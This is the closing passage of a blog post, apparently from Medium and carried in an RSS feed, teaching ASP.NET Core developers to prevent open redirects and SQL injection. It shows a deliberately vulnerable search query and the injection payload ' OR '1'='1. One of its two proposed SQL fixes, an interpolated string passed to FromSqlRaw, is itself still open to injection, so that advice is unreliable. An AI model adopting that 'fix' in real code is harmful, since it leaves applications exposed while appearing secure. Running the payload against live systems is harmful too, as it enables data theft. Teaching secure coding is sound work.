that.</p><pre>https://www.amazon.com.tr/ap/signin?returnUrl=url_of_the_weapon_of_your_dreams</pre><p>Hacker by converting url trying stole your data. Converted url be like that.</p><pre>https://www.amazon.com.tr/ap/signin?returnUrl=bad_hacker_url</pre><p>Solution is very simple. We can overcome problem with little check process. e.g.</p><pre>public IActionResult Login(string returnUrl = &quot;/&quot;)<br>{<br>    TempData[&quot;returnUrl&quot;] = returnUrl;<br>    return View();<br>}<br>[HttpPost]<br>public IActionResult Login(string mail,string password)<br>{<br>    string returnUrl = TempData[&quot;returnUrl&quot;].ToString();<br>    //Acount Authorization<br>    if (Url.IsLocalUrl(returnUrl))<br>    {<br>      return Redirect(returnUrl);<br>    }<br>    else<br>    {<br>      return Redirect(&quot;/&quot;);<br>    }          <br>}</pre><h3>4.SQL Injection</h3><p>if i’m explain with example got better. Suppose we’re doing dynamic search in database with text box. like that:</p><pre>[HttpPost]<br>public async Task&lt;IActionResult&gt; Search(string searchText)<br>{<br>  var products = _context.Product.FromSqlRaw(&quot;SELECT * FROM product WHERE Name=&quot;+searchText).ToList();<br>  return View(product);  <br>}</pre><p>if hacker is discern this bug, he will try to search &#39;&#39; OR &#39;1&#39; = &#39;1&#39;. And add it to SQL query.</p><pre>SELECT * FROM product WHERE Name=&#39;&#39; OR &#39;1&#39; = &#39;1&#39;</pre><p>The hacker’s getting all the data in this way. as solution we can write sql query like this</p><pre>var products = _context.Product.FromSqlRaw($&quot;SELECT * FROM product WHERE Name={searchText}&quot;).ToList();</pre><p>or we can use LINQ Expressions</p><pre>var products = _context.Product.Where(x =&gt; x.Name == serachText).ToList();</pre><h3>Contact</h3><p>Muhammet İkbal KAZANCI — <a href="https://github.com/ikbalkazanc/Asp.NetCore-Security">Github Repository</a>— <a href="https://www.linkedin.com/in/ikbalkazanc/">LinkedIn</a> — <a href="/service/mailto:mi.kazanci@hotmail.com">mi.kazanci@hotmail.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=807fe367e2d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>